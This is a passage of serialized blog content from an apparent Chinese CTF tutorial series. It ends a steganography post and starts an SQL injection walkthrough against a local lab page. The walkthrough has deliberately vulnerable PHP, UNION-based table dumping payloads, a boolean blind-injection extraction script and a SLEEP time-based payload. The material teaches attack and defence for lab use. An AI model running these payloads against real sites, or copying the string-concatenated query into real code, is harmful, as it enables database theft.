模式，避免调色板/透明度干扰。\n",[29,5840,5841],{"class":31,"line":221},[29,5842,5843],{},"bits = []\n",[29,5845,5846],{"class":31,"line":228},[29,5847,5848],{},"for r, g, b in img.getdata():\n",[29,5850,5851],{"class":31,"line":234},[29,5852,5853],{},"    bits += [r & 1, g & 1, b & 1]\n",[29,5855,5856],{"class":31,"line":246},[29,5857,5858],{},"    # r & 1：取出红色通道最低位（0 或 1），绿、蓝同理。\n",[29,5860,5861],{"class":31,"line":376},[29,5862,5863],{},"    # 三个最低位依次追加到 bits，顺序与隐藏时一致。\n",[29,5865,5866],{"class":31,"line":382},[29,5867,225],{"emptyLinePlaceholder":224},[29,5869,5870],{"class":31,"line":388},[29,5871,5872],{},"data = bytearray()\n",[29,5874,5875],{"class":31,"line":394},[29,5876,5877],{},"for i in range(0, len(bits) - 7, 8):\n",[29,5879,5880],{"class":31,"line":400},[29,5881,5882],{},"    # range 步长 8：每 8 个比特处理一次，组成 1 字节。\n",[29,5884,5885],{"class":31,"line":405},[29,5886,5887],{},"    byte = 0\n",[29,5889,5890],{"class":31,"line":411},[29,5891,5892],{},"    for bit in bits[i:i+8]:\n",[29,5894,5895],{"class":31,"line":417},[29,5896,5897],{},"        byte = (byte \u003C\u003C 1) | bit\n",[29,5899,5900],{"class":31,"line":422},[29,5901,5902],{},"        # 左移一位再或上新比特，等价于二进制拼接。\n",[29,5904,5905],{"class":31,"line":428},[29,5906,5907],{},"        # 例：1,0,1 → ((1\u003C\u003C1)|0)=2, (2\u003C\u003C1)|1=5，即二进制 101。\n",[29,5909,5910],{"class":31,"line":434},[29,5911,5912],{},"    if byte == 0:\n",[29,5914,5915],{"class":31,"line":440},[29,5916,5917],{},"        # 字节 0 是隐藏时追加的结束符，到此停止。\n",[29,5919,5920],{"class":31,"line":446},[29,5921,4612],{},[29,5923,5924],{"class":31,"line":452},[29,5925,5926],{},"    data.append(byte)\n",[29,5928,5929],{"class":31,"line":458},[29,5930,225],{"emptyLinePlaceholder":224},[29,5932,5933],{"class":31,"line":5704},[29,5934,5935],{},"print(data.decode())\n",[29,5937,5938],{"class":31,"line":5709},[29,5939,5940],{},"# decode()：字节串按 UTF-8 解码成字符串显示。\n",[15,5942,4372],{},[19,5944,5947],{"className":5945,"code":5946,"language":63,"meta":24},[61],"flag{lsb_steganography}\n",[26,5948,5946],{"__ignoreMap":24},[271,5950,5952],{"id":5951},"_54-现成工具","5.4 现成工具",[19,5954,5956],{"className":21,"code":5955,"language":23,"meta":24,"style":24},"gem install zsteg\nzsteg -a hidden.png\n",[26,5957,5958,5968],{"__ignoreMap":24},[29,5959,5960,5963,5965],{"class":31,"line":32},[29,5961,5962],{"class":35},"gem",[29,5964,172],{"class":47},[29,5966,5967],{"class":47}," zsteg\n",[29,5969,5970,5973,5976],{"class":31,"line":166},[29,5971,5972],{"class":35},"zsteg",[29,5974,5975],{"class":39}," -a",[29,5977,5348],{"class":47},[15,5979,5980,5983],{},[26,5981,5982],{},"-a"," 全自动检测各种 LSB 变体。",[10,5985,2999],{"id":2998},[70,5987,5988,5999],{},[73,5989,5990],{},[76,5991,5992,5994,5996],{},[79,5993,3008],{},[79,5995,3011],{},[79,5997,5998],{},"命令",[86,6000,6001,6013,6026,6042],{},[76,6002,6003,6005,6008],{},[91,6004,2152],{},[91,6006,6007],{},"看类型、看编码、看无后缀文件",[91,6009,6010],{},[26,6011,6012],{},"file flag",[76,6014,6015,6018,6021],{},[91,6016,6017],{},"xxd / hexdump",[91,6019,6020],{},"查看文件头、指定长度",[91,6022,6023],{},[26,6024,6025],{},"xxd -l 16 flag.png",[76,6027,6028,6030,6033],{},[91,6029,2195],{},[91,6031,6032],{},"提取字符串、指定长度、管道过滤",[91,6034,6035,1847,6038,1847,6040],{},[26,6036,6037],{},"strings flag.png",[26,6039,3043],{},[26,6041,3046],{},[76,6043,6044,6046,6049],{},[91,6045,5497],{},[91,6047,6048],{},"扫描、提取",[91,6050,6051,1847,6054],{},[26,6052,6053],{},"binwalk flag.png",[26,6055,6056],{},"binwalk -e flag.png",[10,6058,6060],{"id":6059},"七小-ctf-实战藏了-flag-的-png","七、小 CTF 实战：藏了 flag 的 PNG",[15,6062,3097,6063,789],{},[26,6064,6065],{},"flag.png",[15,6067,6068],{},"第一步：",[19,6070,6072],{"className":21,"code":6071,"language":23,"meta":24,"style":24},"file flag.png\n",[26,6073,6074],{"__ignoreMap":24},[29,6075,6076,6078],{"class":31,"line":32},[29,6077,2152],{"class":35},[29,6079,5500],{"class":47},[15,6081,998,6082,789],{},[26,6083,6084],{},"PNG image data",[15,6086,6087],{},"第二步：",[19,6089,6090],{"className":21,"code":5459,"language":23,"meta":24,"style":24},[26,6091,6092],{"__ignoreMap":24},[29,6093,6094,6096,6098,6100,6102,6104],{"class":31,"line":32},[29,6095,2195],{"class":35},[29,6097,5376],{"class":47},[29,6099,2381],{"class":1044},[29,6101,2384],{"class":35},[29,6103,5474],{"class":39},[29,6105,5477],{"class":47},[15,6107,6108],{},"无输出。",[15,6110,6111],{},"第三步：",[19,6113,6114],{"className":21,"code":5490,"language":23,"meta":24,"style":24},[26,6115,6116],{"__ignoreMap":24},[29,6117,6118,6120],{"class":31,"line":32},[29,6119,5497],{"class":35},[29,6121,5500],{"class":47},[15,6123,6124],{},"无隐藏文件。",[15,6126,6127],{},"第四步：怀疑 LSB，运行提取脚本，输出：",[19,6129,6131],{"className":6130,"code":5946,"language":63,"meta":24},[61],[26,6132,5946],{"__ignoreMap":24},[10,6134,3296],{"id":3295},[15,6136,6137,6138,6140,6141,3086,6143,6145],{},"Misc 入门三板斧：",[26,6139,2152],{}," 看类型、",[26,6142,2195],{},[26,6144,5497],{}," 排除简单情况、LSB 脚本提数据。音频隐写（Audacity 频谱图）、ZIP 伪加密、USB 流量分析在《隐写与取证深入实战》中完整展开。",[1990,6147,6148],{},"html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}",{"title":24,"searchDepth":166,"depth":166,"links":6150},[6151,6152,6153,6154,6155,6156,6157,6158],{"id":5209,"depth":184,"text":5210},{"id":2085,"depth":184,"text":2086},{"id":5321,"depth":184,"text":5322},{"id":5483,"depth":184,"text":5484},{"id":5553,"depth":184,"text":5554},{"id":2998,"depth":184,"text":2999},{"id":6059,"depth":184,"text":6060},{"id":3295,"depth":184,"text":3296},"杂项三板斧：file/xxd 识别文件头、binwalk 提取隐藏文件、Python 实现 LSB 隐写的隐藏与提取。",{"date":2008,"image":6161,"alt":6162,"tags":6163,"published":224},"/blogs-img/blog4.png","CTF Misc 入门",[788,6164],"misc","/blogs/ctf-misc-overview",{"title":5204,"description":6159},"blogs/13. ctf-misc-overview","XI4JQUKrJS4uak8Rm3ioTk2L2WukeCdhI54Ldj4FkRo",{"id":6170,"title":6171,"body":6172,"description":7496,"extension":2006,"meta":7497,"navigation":224,"ogImage":7498,"path":7502,"seo":7503,"stem":7504,"__hash__":7505},"content/blogs/14. ctf-web-sql-injection-deep-dive.md","SQL 注入深入实战：判断、UNION 拖库、盲注与防御",{"type":7,"value":6173,"toc":7485},[6174,6178,6181,6195,6205,6214,6221,6225,6229,6256,6262,6266,6269,6297,6301,6342,6348,6354,6358,6366,6371,6375,6380,6394,6396,6401,6405,6410,6425,6428,6433,6440,6444,6459,6464,6468,6483,6486,6497,6501,6506,6511,6517,6521,6529,6577,6580,6584,6592,6607,6612,6616,6631,6635,6639,6654,6658,6662,6678,6682,6697,6701,6716,6720,6726,6730,6735,6738,6742,6758,6763,6779,6784,6787,6796,6933,6936,6942,6946,6953,6969,6972,6976,6981,6985,6990,7008,7010,7015,7019,7037,7042,7046,7072,7079,7083,7125,7134,7140,7144,7149,7155,7325,7328,7340,7342,7348,7351,7471,7475,7482],[10,6175,6177],{"id":6176},"一现实背景sql-是怎么被拼出来的","一、现实背景：SQL 是怎么被拼出来的",[15,6179,6180],{},"普通程序员的查询代码：",[19,6182,6184],{"className":327,"code":6183,"language":209,"meta":24,"style":24},"$id = $_GET['id'];\n$sql = \"SELECT id, title FROM articles WHERE id = \" . $id;\n",[26,6185,6186,6190],{"__ignoreMap":24},[29,6187,6188],{"class":31,"line":32},[29,6189,359],{},[29,6191,6192],{"class":31,"line":166},[29,6193,6194],{},"$sql = \"SELECT id, title FROM articles WHERE id = \" . $id;\n",[15,6196,6197,6200,6201,6204],{},[26,6198,6199],{},"$id"," 被直接拼进 SQL 字符串。当 ",[26,6202,6203],{},"id=1 OR 1=1"," 时：",[19,6206,6208],{"className":283,"code":6207,"language":285,"meta":24,"style":24},"SELECT id, title FROM articles WHERE id = 1 OR 1=1\n",[26,6209,6210],{"__ignoreMap":24},[29,6211,6212],{"class":31,"line":32},[29,6213,6207],{},[15,6215,6216,6217,6220],{},"恒真，返回全表。",[138,6218,6219],{},"用户输入从\"数据\"变成了\"代码\"","，这就是 SQL 注入。",[10,6222,6224],{"id":6223},"二环境搭建二选一","二、环境搭建（二选一）",[271,6226,6228],{"id":6227},"方式-asqli-labs-靶场","方式 A：sqli-labs 靶场",[19,6230,6232],{"className":21,"code":6231,"language":23,"meta":24,"style":24},"git clone https://github.com/Audi-1/sqli-labs.git\ncd sqli-labs\nphp -S 127.0.0.1:8000\n",[26,6233,6234,6242,6248],{"__ignoreMap":24},[29,6235,6236,6238,6240],{"class":31,"line":32},[29,6237,187],{"class":35},[29,6239,190],{"class":47},[29,6241,193],{"class":47},[29,6243,6244,6246],{"class":31,"line":166},[29,6245,200],{"class":199},[29,6247,203],{"class":47},[29,6249,6250,6252,6254],{"class":31,"line":184},[29,6251,209],{"class":35},[29,6253,212],{"class":39},[29,6255,478],{"class":47},[15,6257,6258,6259,789],{},"浏览器访问，点 \"Setup/reset Database\"，之后打 ",[26,6260,6261],{},"Less-1",[271,6263,6265],{"id":6264},"方式-b自建漏洞页本文以此讲解","方式 B：自建漏洞页（本文以此讲解）",[15,6267,6268],{},"数据库：",[19,6270,6271],{"className":283,"code":284,"language":285,"meta":24,"style":24},[26,6272,6273,6277,6281,6285,6289,6293],{"__ignoreMap":24},[29,6274,6275],{"class":31,"line":32},[29,6276,292],{},[29,6278,6279],{"class":31,"line":166},[29,6280,297],{},[29,6282,6283],{"class":31,"line":184},[29,6284,302],{},[29,6286,6287],{"class":31,"line":196},[29,6288,307],{},[29,6290,6291],{"class":31,"line":206},[29,6292,312],{},[29,6294,6295],{"class":31,"line":221},[29,6296,317],{},[15,6298,6299,324],{},[26,6300,323],{},[19,6302,6304],{"className":327,"code":6303,"language":209,"meta":24,"style":24},"\u003C?php\n$conn = new mysqli(\"localhost\", \"root\", \"password\", \"ctf\");\n$id = $_GET['id'];\n$sql = \"SELECT id, title, content FROM articles WHERE id = \" . $id;\n$result = $conn->query($sql);\nwhile ($row = $result->fetch_assoc()) {\n    echo $row['id'] . \" \" . $row['title'] . \" \" . $row['content'] . \"\u003Cbr>\";\n}\n?>\n",[26,6305,6306,6310,6314,6318,6322,6326,6330,6334,6338],{"__ignoreMap":24},[29,6307,6308],{"class":31,"line":32},[29,6309,335],{},[29,6311,6312],{"class":31,"line":166},[29,6313,340],{},[29,6315,6316],{"class":31,"line":184},[29,6317,359],{},[29,6319,6320],{"class":31,"line":196},[29,6321,379],{},[29,6323,6324],{"class":31,"line":206},[29,6325,408],{},[29,6327,6328],{"class":31,"line":221},[29,6329,425],{},[29,6331,6332],{"class":31,"line":228},[29,6333,443],{},[29,6335,6336],{"class":31,"line":234},[29,6337,455],{},[29,6339,6340],{"class":31,"line":246},[29,6341,461],{},[15,6343,6344,6345,789],{},"启动：",[26,6346,6347],{},"php -S 127.0.0.1:8000",[6349,6350,6351],"blockquote",{},[15,6352,6353],{},"说明：如果你的电脑不方便装 PHP+MySQL，可以跳过本节，用\"附录\"里的 Python+SQLite 模拟程序跑通同样的注入过程，原理完全一致。",[10,6355,6357],{"id":6356},"三核心步骤-1注入点判断","三、核心步骤 1：注入点判断",[15,6359,6360,6362,6363,6365],{},[138,6361,519],{},"：确认参数 ",[26,6364,143],{}," 能影响 SQL 逻辑，避免在非注入点上浪费时间。",[15,6367,6368,6370],{},[138,6369,528],{},"：用\"会破坏语法\"的单引号和\"改变查询条件\"的 AND 表达式做探测。单引号报错、恒真正常、恒假为空，三者齐备即确认。",[271,6372,6374],{"id":6373},"请求-1正常请求","请求 1：正常请求",[15,6376,6377,6379],{},[138,6378,519],{},"：记录正常响应的样子，作为后续对比的基线。",[19,6381,6382],{"className":21,"code":488,"language":23,"meta":24,"style":24},[26,6383,6384],{"__ignoreMap":24},[29,6385,6386,6388,6390,6392],{"class":31,"line":32},[29,6387,36],{"class":35},[29,6389,44],{"class":43},[29,6391,499],{"class":47},[29,6393,51],{"class":43},[15,6395,504],{},[19,6397,6399],{"className":6398,"code":508,"language":63,"meta":24},[61],[26,6400,508],{"__ignoreMap":24},[271,6402,6404],{"id":6403},"请求-2单引号","请求 2：单引号",[15,6406,6407,6409],{},[138,6408,519],{},"：判断输入是否被拼进 SQL。拼进去了，单引号就会破坏语法。",[19,6411,6413],{"className":21,"code":6412,"language":23,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=1'\"\n",[26,6414,6415],{"__ignoreMap":24},[29,6416,6417,6419,6421,6423],{"class":31,"line":32},[29,6418,36],{"class":35},[29,6420,44],{"class":43},[29,6422,560],{"class":47},[29,6424,51],{"class":43},[15,6426,6427],{},"预期输出（报错）：",[19,6429,6431],{"className":6430,"code":584,"language":63,"meta":24},[61],[26,6432,584],{"__ignoreMap":24},[15,6434,6435,6436,6439],{},"原因：语句变成 ",[26,6437,6438],{},"WHERE id = 1'","，单引号未闭合。",[271,6441,6443],{"id":6442},"请求-3and-11","请求 3：AND 1=1",[19,6445,6447],{"className":21,"code":6446,"language":23,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND 1=1\"\n",[26,6448,6449],{"__ignoreMap":24},[29,6450,6451,6453,6455,6457],{"class":31,"line":32},[29,6452,36],{"class":35},[29,6454,44],{"class":43},[29,6456,606],{"class":47},[29,6458,51],{"class":43},[15,6460,504,6461,6463],{},[26,6462,623],{},"（条件真）。",[271,6465,6467],{"id":6466},"请求-4and-12","请求 4：AND 1=2",[19,6469,6471],{"className":21,"code":6470,"language":23,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND 1=2\"\n",[26,6472,6473],{"__ignoreMap":24},[29,6474,6475,6477,6479,6481],{"class":31,"line":32},[29,6476,36],{"class":35},[29,6478,44],{"class":43},[29,6480,641],{"class":47},[29,6482,51],{"class":43},[15,6484,6485],{},"预期输出：空（条件假）。",[15,6487,6488,6491,6492,6494,6495,667],{},[138,6489,6490],{},"判定","：单引号报错 + ",[26,6493,662],{}," 正常 + ",[26,6496,666],{},[10,6498,6500],{"id":6499},"四核心步骤-2union-注入五步拖库","四、核心步骤 2：UNION 注入五步拖库",[15,6502,6503,6505],{},[138,6504,519],{},"：把数据库里的表和数据\"借\" UNION 查询显示到页面上。",[15,6507,6508,6510],{},[138,6509,528],{},"：UNION 合并两个查询，但要求列数一致；先把第一个查询置空（id=-1），再用回显列依次输出库名、表名、列名、数据。每一步都是下一步的前提：不知道库名就筛不出表，不知道表名就查不了列。",[15,6512,6513,6514,6516],{},"前提：第一个查询返回空（用 ",[26,6515,684],{},"），UNION 两个查询列数相同。",[271,6518,6520],{"id":6519},"第-1-步确定列数","第 1 步：确定列数",[15,6522,6523,324,6525,6528],{},[138,6524,528],{},[26,6526,6527],{},"ORDER BY N"," 按第 N 列排序，N 超过实际列数时报错。从 1 试到报错为止，报错前的 N 就是列数。",[19,6530,6532],{"className":21,"code":6531,"language":23,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 1\"\ncurl \"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 2\"\ncurl \"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 3\"\ncurl \"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 4\"\n",[26,6533,6534,6544,6555,6566],{"__ignoreMap":24},[29,6535,6536,6538,6540,6542],{"class":31,"line":32},[29,6537,36],{"class":35},[29,6539,44],{"class":43},[29,6541,702],{"class":47},[29,6543,51],{"class":43},[29,6545,6546,6548,6550,6553],{"class":31,"line":166},[29,6547,36],{"class":35},[29,6549,44],{"class":43},[29,6551,6552],{"class":47},"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 2",[29,6554,51],{"class":43},[29,6556,6557,6559,6561,6564],{"class":31,"line":184},[29,6558,36],{"class":35},[29,6560,44],{"class":43},[29,6562,6563],{"class":47},"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 3",[29,6565,51],{"class":43},[29,6567,6568,6570,6572,6575],{"class":31,"line":196},[29,6569,36],{"class":35},[29,6571,44],{"class":43},[29,6573,6574],{"class":47},"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 4",[29,6576,51],{"class":43},[15,6578,6579],{},"前三条正常，第四条报错 → 共 3 列。",[271,6581,6583],{"id":6582},"第-2-步确认回显位","第 2 步：确认回显位",[15,6585,6586,324,6588,6591],{},[138,6587,528],{},[26,6589,6590],{},"SELECT 1,2,3"," 的数字会显示在页面上，显示的哪个数字对应哪一列，哪一列就能用来输出数据。",[19,6593,6595],{"className":21,"code":6594,"language":23,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,2,3--+\"\n",[26,6596,6597],{"__ignoreMap":24},[29,6598,6599,6601,6603,6605],{"class":31,"line":32},[29,6600,36],{"class":35},[29,6602,44],{"class":43},[29,6604,731],{"class":47},[29,6606,51],{"class":43},[15,6608,504,6609,6611],{},[26,6610,753],{},"。第 2、3 列内容会显示，作为后续输出位置。",[271,6613,6615],{"id":6614},"第-3-步查数据库名","第 3 步：查数据库名",[19,6617,6619],{"className":21,"code":6618,"language":23,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,database(),3--+\"\n",[26,6620,6621],{"__ignoreMap":24},[29,6622,6623,6625,6627,6629],{"class":31,"line":32},[29,6624,36],{"class":35},[29,6626,44],{"class":43},[29,6628,771],{"class":47},[29,6630,51],{"class":43},[15,6632,504,6633,789],{},[26,6634,788],{},[271,6636,6638],{"id":6637},"第-4-步查表名","第 4 步：查表名",[19,6640,6642],{"className":21,"code":6641,"language":23,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--+\"\n",[26,6643,6644],{"__ignoreMap":24},[29,6645,6646,6648,6650,6652],{"class":31,"line":32},[29,6647,36],{"class":35},[29,6649,44],{"class":43},[29,6651,806],{"class":47},[29,6653,51],{"class":43},[15,6655,504,6656,789],{},[26,6657,833],{},[271,6659,6661],{"id":6660},"第-5-步查列名","第 5 步：查列名",[19,6663,6665],{"className":21,"code":6664,"language":23,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='flag'--+\"\n",[26,6666,6667],{"__ignoreMap":24},[29,6668,6669,6671,6673,6676],{"class":31,"line":32},[29,6670,36],{"class":35},[29,6672,44],{"class":43},[29,6674,6675],{"class":47},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='flag'--+",[29,6677,51],{"class":43},[15,6679,504,6680,789],{},[26,6681,1744],{},[15,6683,6684,6687,6688,6690,6691,6693,6694,6696],{},[138,6685,6686],{},"说明","：如果第 4 步看到多个表，比如 ",[26,6689,833],{},"，优先怀疑 ",[26,6692,1744],{}," 表；列名可能不是 ",[26,6695,1744],{},"，需要本步用 information_schema.columns 确认。",[271,6698,6700],{"id":6699},"第-6-步拿数据","第 6 步：拿数据",[19,6702,6704],{"className":21,"code":6703,"language":23,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,flag,3 FROM flag--+\"\n",[26,6705,6706],{"__ignoreMap":24},[29,6707,6708,6710,6712,6714],{"class":31,"line":32},[29,6709,36],{"class":35},[29,6711,44],{"class":43},[29,6713,850],{"class":47},[29,6715,51],{"class":43},[15,6717,504,6718,789],{},[26,6719,872],{},[15,6721,6722,6725],{},[138,6723,6724],{},"验证","：若第 6 步报错，通常是列名猜错，回到第 5 步把列名抄准再试。",[10,6727,6729],{"id":6728},"五核心步骤-3盲注页面不回显时","五、核心步骤 3：盲注（页面不回显时）",[15,6731,6732,6734],{},[138,6733,519],{},"：当页面既不显示查询结果也不报错时，把数据库当\"是与否\"的问答机，逐字符问出数据。",[15,6736,6737],{},"当页面不显示查询结果也不报错时，只能用\"是与否\"推断数据。",[271,6739,6741],{"id":6740},"_51-布尔盲注","5.1 布尔盲注",[19,6743,6745],{"className":21,"code":6744,"language":23,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND (SELECT SUBSTRING(database(),1,1))='c'--+\"\n",[26,6746,6747],{"__ignoreMap":24},[29,6748,6749,6751,6753,6756],{"class":31,"line":32},[29,6750,36],{"class":35},[29,6752,44],{"class":43},[29,6754,6755],{"class":47},"http://127.0.0.1:8000/vuln.php?id=1 AND (SELECT SUBSTRING(database(),1,1))='c'--+",[29,6757,51],{"class":43},[15,6759,6760,6761,789],{},"正常 → 库名第一个字符是 ",[26,6762,2779],{},[19,6764,6766],{"className":21,"code":6765,"language":23,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND (SELECT SUBSTRING(database(),1,1))='a'--+\"\n",[26,6767,6768],{"__ignoreMap":24},[29,6769,6770,6772,6774,6777],{"class":31,"line":32},[29,6771,36],{"class":35},[29,6773,44],{"class":43},[29,6775,6776],{"class":47},"http://127.0.0.1:8000/vuln.php?id=1 AND (SELECT SUBSTRING(database(),1,1))='a'--+",[29,6778,51],{"class":43},[15,6780,6781,6782,789],{},"为空 → 不是 ",[26,6783,4440],{},[15,6785,6786],{},"自动化脚本：",[15,6788,6789,6791,6792,6795],{},[138,6790,528],{},"：对 flag 的每个位置，逐个尝试字符，问\"这一位是不是 ch\"；页面出现正常特征（如 ",[26,6793,6794],{},"hello","）就说明猜对，把字符记下再问下一位。",[19,6797,6799],{"className":3199,"code":6798,"language":3201,"meta":24,"style":24},"import requests, string\n# requests：HTTP 请求库；string：标准库，提供 printable（可打印字符集）。\n\nurl = \"http://127.0.0.1:8000/vuln.php\"\nresult = \"\"          # 保存已确认的 flag 片段\n\nfor pos in range(1, 50):\n    # pos 从 1 开始，逐位猜测；50 是长度上限，防止死循环。\n    found = False\n    for ch in string.printable:\n        payload = f\"1 AND (SELECT SUBSTRING((SELECT flag FROM flag LIMIT 1),{pos},1))='{ch}'--+\"\n        # SUBSTRING(text, pos, 1)：取字符串第 pos 位、长度 1 的字符。\n        # 内层 SELECT flag FROM flag LIMIT 1：取出 flag 表第一行。\n        # 整句含义：如果 flag 第 pos 位是 ch，条件为真。\n        r = requests.get(url, params={\"id\": payload})\n        # requests.get(url, params=...)：GET 请求，params 自动做 URL 编码。\n        # r.text：响应正文。\n        if \"hello\" in r.text:\n            # 条件为真时页面正常，包含特征字符串 \"hello\"。\n            result += ch\n            print(result)\n            found = True\n            break\n    if not found or result.endswith('}'):\n        # 一整轮都没猜中 = 已到结尾；或以 } 结尾 = flag 结束。\n        break\nprint(\"flag:\", result)\n",[26,6800,6801,6806,6811,6815,6820,6825,6829,6834,6839,6844,6849,6854,6859,6864,6869,6874,6879,6884,6889,6894,6899,6904,6909,6914,6919,6924,6928],{"__ignoreMap":24},[29,6802,6803],{"class":31,"line":32},[29,6804,6805],{},"import requests, string\n",[29,6807,6808],{"class":31,"line":166},[29,6809,6810],{},"# requests：HTTP 请求库；string：标准库，提供 printable（可打印字符集）。\n",[29,6812,6813],{"class":31,"line":184},[29,6814,225],{"emptyLinePlaceholder":224},[29,6816,6817],{"class":31,"line":196},[29,6818,6819],{},"url = \"http://127.0.0.1:8000/vuln.php\"\n",[29,6821,6822],{"class":31,"line":206},[29,6823,6824],{},"result = \"\"          # 保存已确认的 flag 片段\n",[29,6826,6827],{"class":31,"line":221},[29,6828,225],{"emptyLinePlaceholder":224},[29,6830,6831],{"class":31,"line":228},[29,6832,6833],{},"for pos in range(1, 50):\n",[29,6835,6836],{"class":31,"line":234},[29,6837,6838],{},"    # pos 从 1 开始，逐位猜测；50 是长度上限，防止死循环。\n",[29,6840,6841],{"class":31,"line":246},[29,6842,6843],{},"    found = False\n",[29,6845,6846],{"class":31,"line":376},[29,6847,6848],{},"    for ch in string.printable:\n",[29,6850,6851],{"class":31,"line":382},[29,6852,6853],{},"        payload = f\"1 AND (SELECT SUBSTRING((SELECT flag FROM flag LIMIT 1),{pos},1))='{ch}'--+\"\n",[29,6855,6856],{"class":31,"line":388},[29,6857,6858],{},"        # SUBSTRING(text, pos, 1)：取字符串第 pos 位、长度 1 的字符。\n",[29,6860,6861],{"class":31,"line":394},[29,6862,6863],{},"        # 内层 SELECT flag FROM flag LIMIT 1：取出 flag 表第一行。\n",[29,6865,6866],{"class":31,"line":400},[29,6867,6868],{},"        # 整句含义：如果 flag 第 pos 位是 ch，条件为真。\n",[29,6870,6871],{"class":31,"line":405},[29,6872,6873],{},"        r = requests.get(url, params={\"id\": payload})\n",[29,6875,6876],{"class":31,"line":411},[29,6877,6878],{},"        # requests.get(url, params=...)：GET 请求，params 自动做 URL 编码。\n",[29,6880,6881],{"class":31,"line":417},[29,6882,6883],{},"        # r.text：响应正文。\n",[29,6885,6886],{"class":31,"line":422},[29,6887,6888],{},"        if \"hello\" in r.text:\n",[29,6890,6891],{"class":31,"line":428},[29,6892,6893],{},"            # 条件为真时页面正常，包含特征字符串 \"hello\"。\n",[29,6895,6896],{"class":31,"line":434},[29,6897,6898],{},"            result += ch\n",[29,6900,6901],{"class":31,"line":440},[29,6902,6903],{},"            print(result)\n",[29,6905,6906],{"class":31,"line":446},[29,6907,6908],{},"            found = True\n",[29,6910,6911],{"class":31,"line":452},[29,6912,6913],{},"            break\n",[29,6915,6916],{"class":31,"line":458},[29,6917,6918],{},"    if not found or result.endswith('}'):\n",[29,6920,6921],{"class":31,"line":5704},[29,6922,6923],{},"        # 一整轮都没猜中 = 已到结尾；或以 } 结尾 = flag 结束。\n",[29,6925,6926],{"class":31,"line":5709},[29,6927,4612],{},[29,6929,6930],{"class":31,"line":5715},[29,6931,6932],{},"print(\"flag:\", result)\n",[15,6934,6935],{},"运行过程输出（节选）：",[19,6937,6940],{"className":6938,"code":6939,"language":63,"meta":24},[61],"f\nfl\nfla\nflag{\n...\nflag{sql_injection}\n",[26,6941,6939],{"__ignoreMap":24},[271,6943,6945],{"id":6944},"_52-时间盲注","5.2 时间盲注",[15,6947,6948,6949,6952],{},"页面连\"正常/异常\"都无法区分时，用 ",[26,6950,6951],{},"SLEEP"," 制造时间差：",[19,6954,6956],{"className":21,"code":6955,"language":23,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND IF((SELECT SUBSTRING(database(),1,1))='c',SLEEP(2),0)--+\"\n",[26,6957,6958],{"__ignoreMap":24},[29,6959,6960,6962,6964,6967],{"class":31,"line":32},[29,6961,36],{"class":35},[29,6963,44],{"class":43},[29,6965,6966],{"class":47},"http://127.0.0.1:8000/vuln.php?id=1 AND IF((SELECT SUBSTRING(database(),1,1))='c',SLEEP(2),0)--+",[29,6968,51],{"class":43},[15,6970,6971],{},"响应慢 2 秒 → 条件为真。脚本判断响应时间即可。",[10,6973,6975],{"id":6974},"六核心步骤-4sqlmap-自动化","六、核心步骤 4：sqlmap 自动化",[15,6977,6978,6980],{},[138,6979,519],{},"：手工确认后，用工具批量完成拖库，效率更高。",[271,6982,6984],{"id":6983},"命令-1检测","命令 1：检测",[15,6986,6987,6989],{},[138,6988,528],{},"：sqlmap 会对参数自动测试多种注入技术并报告类型。先检测确认，再定向拖库。",[19,6991,6992],{"className":21,"code":1648,"language":23,"meta":24,"style":24},[26,6993,6994],{"__ignoreMap":24},[29,6995,6996,6998,7000,7002,7004,7006],{"class":31,"line":32},[29,6997,1655],{"class":35},[29,6999,1658],{"class":39},[29,7001,44],{"class":43},[29,7003,499],{"class":47},[29,7005,1197],{"class":43},[29,7007,1667],{"class":39},[15,7009,1670],{},[19,7011,7013],{"className":7012,"code":1674,"language":63,"meta":24},[61],[26,7014,1674],{"__ignoreMap":24},[271,7016,7018],{"id":7017},"命令-2列库","命令 